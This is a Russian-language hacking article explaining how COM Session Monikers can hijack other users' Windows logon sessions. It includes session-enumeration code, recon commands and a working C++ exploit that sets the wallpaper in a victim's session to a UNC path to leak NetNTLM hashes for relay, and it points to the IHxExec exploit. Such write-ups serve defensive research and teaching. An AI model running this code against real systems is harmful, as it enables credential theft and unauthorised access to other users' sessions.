Угон COM
Как работает кража сессии через механизм COM
Давным‑давно, когда небо было голубее, деревья зеленее, а чай слаще, я писал статью «Поставщик небезопасности. Как Windows раскрывает пароль пользователя». В ней мы подробно рассмотрели этап входа пользователя в систему, начиная от приземления пятой точки за компьютер в офисе и заканчивая получением доступа к рабочему столу.
Впрочем, в той статье я перечислил далеко не все способы воздействия на пользователя. Существует еще одна атака — кража сессии. И осуществим мы ее с помощью COM!
Logon Sessions
Итак, начнем с небольшого ликбеза. Logon Session (она же просто сессия) — это как куки браузера. Вполне понятная вещица, по которой система может однозначно определить, какой пользователь к ней обращается.
Отличаются сессии по уникальному номеру, имя ему LUID (Locally Unique IDentifier). Собственно, это все, что нужно Windows для идентификации сессии пользователя.
typedef struct _LUID { ULONG LowPart; LONG HighPart;} LUID, *PLUID;
-
LowPart
— содержит необходимое числовое значение; -
HighPart
— обычно нолик.
Изучить существующие Logon-сессии можно через API LsaEnumerateLogonSessions().
Я достаточно подробно описывал эту функцию и ее использование в статье про GIUDA. Для разнообразия перепишем на C#.
using System;using System.Runtime.InteropServices;using System.Security.Principal;class Program{ [DllImport("Secur32.dll", SetLastError = false)] private static extern int LsaEnumerateLogonSessions(out ulong LogonSessionCount, out IntPtr LogonSessionList); [DllImport("Secur32.dll", SetLastError = false)] private static extern int LsaGetLogonSessionData(IntPtr LogonSession, out IntPtr ppLogonSessionData); [DllImport("Secur32.dll")] private static extern uint LsaFreeReturnBuffer(IntPtr buffer); [StructLayout(LayoutKind.Sequential)] private struct LSA_UNICODE_STRING { public ushort Length; public ushort MaximumLength; public IntPtr Buffer; } [StructLayout(LayoutKind.Sequential)] private struct SECURITY_LOGON_SESSION_DATA { public uint Size; public LUID LogonId; public LSA_UNICODE_STRING UserName; public LSA_UNICODE_STRING LogonDomain; public LSA_UNICODE_STRING AuthenticationPackage; public uint LogonType; public uint Session; public IntPtr Sid; public long LogonTime; } [StructLayout(LayoutKind.Sequential)] private struct LUID { public uint LowPart; public int HighPart; } private static string GetString(LSA_UNICODE_STRING unicodeString) { return Marshal.PtrToStringUni(unicodeString.Buffer); } static void Main() { var result = LsaEnumerateLogonSessions(out var count, out var luidPtr); if (result != 0) { Console.WriteLine("LsaEnumerateLogonSessions failed"); return; } var iter = luidPtr; for (ulong i = 0; i < count; i++) { result = LsaGetLogonSessionData(iter, out var sessionDataPtr); if (result == 0) { var sessionData = Marshal.PtrToStructure<SECURITY_LOGON_SESSION_DATA>(sessionDataPtr); var userName = GetString(sessionData.UserName); var domainName = GetString(sessionData.LogonDomain); Console.WriteLine($"UserName: {userName}"); Console.WriteLine($"LogonDomain: {domainName}"); Console.WriteLine("---------------------------"); LsaFreeReturnBuffer(sessionDataPtr); } iter = IntPtr.Add(iter, Marshal.SizeOf(typeof(LUID))); } LsaFreeReturnBuffer(luidPtr); }}

Видим стандартный импорт необходимых функций через PInvoke
с последующим вызовом в определенном порядке.
Получить список сессий с устройства можно и удаленно, здесь нам помогут функции NetSessionEnum(
и NetrSessionEnum(
. Пример использования можешь посмотреть, например, на гитхабе trustedsec.
Также можно воспользоваться инструментом netview.py.

Наконец, помочь смогут встроенные инструменты командной строки.
qwinsta
# Если удаленно, то quser.exe quser.exe /server:dc01.office.corp

Конечно же, есть и другие варианты поиска сессий целевого пользователя: сюда входят и Invoke-UserHunter
от PowerView, и бесконечные аналоги на С#, все расписывать ни одной статьи не хватит. Поэтому закончим с реконом и перейдем к собственно угону.
Session Moniker
Аналогично Elevation Moniker в Windows существует моникер и для сессий. Напомню, моникер — строковая репрезентация COM-объекта. Так вот, сессионный моникер может использоваться для инстанцирования COM-класса в конкретной сессии.
Например, если у нас есть COM-класс, один из методов которого позволяет выполнять команды, то, инстанцировав этот COM-класс внутри сессии другого пользователя через Session Moniker, мы захватим сессию этого пользователя.
Впрочем, не все так просто — в Microsoft наложили определенные ограничения, но с ними познакомимся чуть позже. Сначала предлагаю разобраться с принципом работы Session Moniker. И сделаем это с помощью слайдов Джеймса Форшоу.
Итак, есть несколько объектов.

Есть сессия пользователя Alice (мы сидим в ней), есть сессия пользователя Bob (ее будем захватывать). Также есть RPCSS — специальная служба, отвечающая за активацию СОМ‑объектов.
Запрашиваем активацию COM-объекта в сессии Боба.

Этот запрос попадает в службу RPCSS потому, что активацией COM-объектов управляет SCM. Затем служба RPCSS видит, что используется Session Moniker, обнаруживает сессию Боба и создает COM-объект внутри нее.

После успешной активации COM-объекта клиент (мы в сессии 1) получит указатель на интерфейс этого COM-объекта и сможет с ним взаимодействовать, например вызвать метод для исполнения команды.

Для использования сессионного моникера достаточно подготовить строку следующего вида:
"Session:[digits]!clsid:[class id]"
Здесь digits
— это номер сессии, в которой запускать COM-класс, идентифицирующийся по CLSID из поля class
.
С помощью этой функции можно создавать COM-объекты в чужой сессии.
HRESULT CoCreateInstanceInSession (DWORD session, REFCLSID rclsid , REFIID riid , void ** ppv) { BIND_OPTS3 bo = {}; WCHAR wszCLSID [50]; WCHAR wszMonikerName [300]; StringFromGUID2 (rclsid, wszCLSID, _countof(wszCLSID)); StringCchPrintf (wszMonikerName , _countof(wszMonikerName ), L"session:%d!new:%s" , session, wszCLSID); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER ; return CoGetObject (wszMonikerName , &bo, riid, ppv);}
Кажется, если бы кто угодно мог инстанцировать COM-классы через Session Moniker в чужих сессиях, это была бы брешь в обороне Windows. Получается горизонтальное повышение привилегий (вертикальное — если есть сессия администратора).
Не все так плохо. Далеко не всегда получится инстанцировать COM-класс в сессии целевого пользователя через Session Moniker. Нужно, чтобы целевой COM-класс был зарегистрирован на запуск от лица интерактивного пользователя. Это значение указывается в отдельном ключе реестра RunAs. Если значение пустое либо указан запустивший пользователь, система или сервис, то Session Moniker не сработает. Извлечь список всех объектов удобно с помощью инструмента Checker. Он сгенерирует отчет в формате CSV (или XLSX по желанию), после чего останется лишь применить фильтр по необходимому полю.

Затем ограничения накладываются в следующем приоритете. Никаких официальных названий им нет, либо мне они незнакомы.
- SeDebug — если у тебя есть SeDebug, то можешь смело захватывать чужие сессии, например через IHxExec.
-
Патч от CVE-2024-38100 (FakePotato) — если у тебя нет прав локального админа, ты не сможешь инстанцировать интерактивные (поле RunAs равно
The
) COM-объекты внутри процессаInteractive User explorer.
. Фактически здесь просто исправили Access Permissions. Если у тебя нет этих прав на процесс, то получить доступ к работающим внутри него COM-объектам ты не сможешь. Если Access Permissions не определены для конкретного AppID, то используются дефолтные. Просмотреть права можно с помощью инструмента OleViewDotNet.exe Список процессов с работающими COM-объектами Список работающих объектов внутри процесса Дефолтные права на процесс Патч от EOP Session Moniker. Возможности сессионных моникеров известны уже давно, но их эксплуатация не особенно популярна. Как только безопасники начали их ресерчить, то практически сразу же появился эксплоит, позволяющий запустить определенный объект внутри чужой сессии, что приводило к повышению привилегий. Фикс заключался в добавлении проверки на уровень целостности перед обращением к объекту. Если к объекту в чужой сессии пытаются обратиться из процесса со средним уровнем целостности, доступ блокируется.
Запуск процесса в чужой сессии
Итак, предлагаю обратиться к эксплоиту IHxExec. Он позволяет запустить исполняемый файл внутри чужой сессии. Существует также реализация на C# и PowerShell, ищи ее на GitHub.
Оба варианта злоупотребляют сессионными моникерами для исполнения кода. Если у нас есть права локального администратора (или привилегия SeDebug), то таким образом удается выполнить код в сессиях другого пользователя. Однако на старых системах, которые не обновлялись года с 2017 года, такой трюк пройдет и от лица низкопривилегированного пользователя. Подробный анализ работы эксплоита есть на Medium.
Если вкратце, то идет использование двух недокументированных COM-интерфейсов, к которым обращаются и при инстанцировании сессионных моникеров: IStandardActivator и ISpecialSystemProperties. Первый нужен для активации объектов, а у второго есть интересный метод SetSessionId() для установки целевой сессии, внутри которой требуется запустить COM-объект.

Видим, что эксплоит успешно инстанцирует необходимый COM-объект, и мы получаем возможность запуска произвольного файла внутри чужой сессии.
Утечка хеша пароля при смене обоев
Другой эксплоит вышел совсем недавно, он также основан на злоупотреблении сессионными моникерами, но теперь инстанцируемый COM-объект позволяет не запустить процесс, а сменить обои. Казалось бы, где тут уязвимость? Но стоит вспомнить статью Элада Шамира, в которой NetNTLM-хеш компьютера извлекали через функцию изменения обоев. Я подумал: а что, если инстанцировать интерактивный COM-объект внутри чужой сессии, затем вызвать метод смены обоев и указать UNC Path для получения NetNTLM-хеша?
Идея долго не давала мне спать, и однажды, когда в блоге decoder.cloud вышла одна подсказка, у меня получилось обнаружить подобный COM-объект.

У объекта был интерфейс IDesktopWallpaper с подходящим по логике методом SetWallpaper().
HRESULT SetWallpaper( [in] LPCWSTR monitorID, [in] LPCWSTR wallpaper);
Первым аргументом следует передавать идентификатор монитора, на который устанавливаются обои, вторым — путь к обоям. Собственно, указание UNC Path во втором аргументе приведет к утечке NetNTLM-хеша. Однако откуда получить идентификатор монитора?
Сам MSDN нам любезно подсказывает, что можно воспользоваться методом GetMonitorDevicePathAt(), этот метод, в свою очередь, требует для вызова параметр monitorIndex
, который можно получить через GetMonitorDevicePathCount().
Так выстраивается цепочка‑киллчейн:
-
GetMonitorDevicePathCount([
;out] int a) -
GetMonitorDevicePathAt([
;in] a, [ out] index) -
SetWallpaper([
.in] index, [ in] UNCPath)
При этом для утечки NetNTLM-хеша нужного пользователя следует инстанцировать COM-класс по управлению обоями внутри чужой сессии. Это делается с помощью функции CoCreateInstanceInSession(
.
HRESULT CoCreateInstanceInSession(DWORD session, REFCLSID rclsid, REFIID riid, void** ppv) { BIND_OPTS3 bo = {}; WCHAR wszCLSID[50]; WCHAR wszMonikerName[300]; StringFromGUID2(rclsid, wszCLSID, _countof(wszCLSID)); StringCchPrintf(wszMonikerName, _countof(wszMonikerName), L"session:%d!new:%s", session, wszCLSID); bo.cbStruct = sizeof(bo); bo.dwClassContext = CLSCTX_LOCAL_SERVER; return CoGetObject(wszMonikerName, &bo, riid, ppv);}...IDesktopWallpaper* pDesktopWallpaper = nullptr;hr = CoCreateInstanceInSession(session, clsidShellWindows, iidIShellWindows, (void**)&pDesktopWallpaper);if (FAILED(hr)) { std::wcerr << L"CoCreateInstanceInSession failed with error: " << hr << std::endl; CoUninitialize(); return 1;}
После успешного инстанцирования можно обращаться к методам COM-класса.
UINT monitorCount;hr = pDesktopWallpaper->GetMonitorDevicePathCount(&monitorCount);if (FAILED(hr)) { std::wcerr << L"GetMonitorDevicePathCount failed with error: " << hr << std::endl; pDesktopWallpaper->Release(); CoUninitialize(); return 1;}for (UINT i = 0; i < monitorCount; i++) { LPWSTR monitorId; hr = pDesktopWallpaper->GetMonitorDevicePathAt(i, &monitorId); if (FAILED(hr)) { std::wcerr << L"GetMonitorDevicePathAt failed with error: " << hr << std::endl; continue; } hr = pDesktopWallpaper->SetWallpaper(monitorId, imagePath); std::wcout << L"[+] Check Responder" << std::endl; CoTaskMemFree(monitorId);}

Таким образом, если получается провернуть утечку хеша, то можно пойти дальше и применить Relay-атаку. О них «Хакер» уже писал в статье «Гид по NTLM Relay» (часть 1, часть 2).
Выводы
Вновь плохо документированные возможности Windows позволяют атакующим проводить интересные и красивые атаки. Самое сложное — найти ту иголку в стоге сена, которая позволит раскрутить всё до полноценного эксплоита!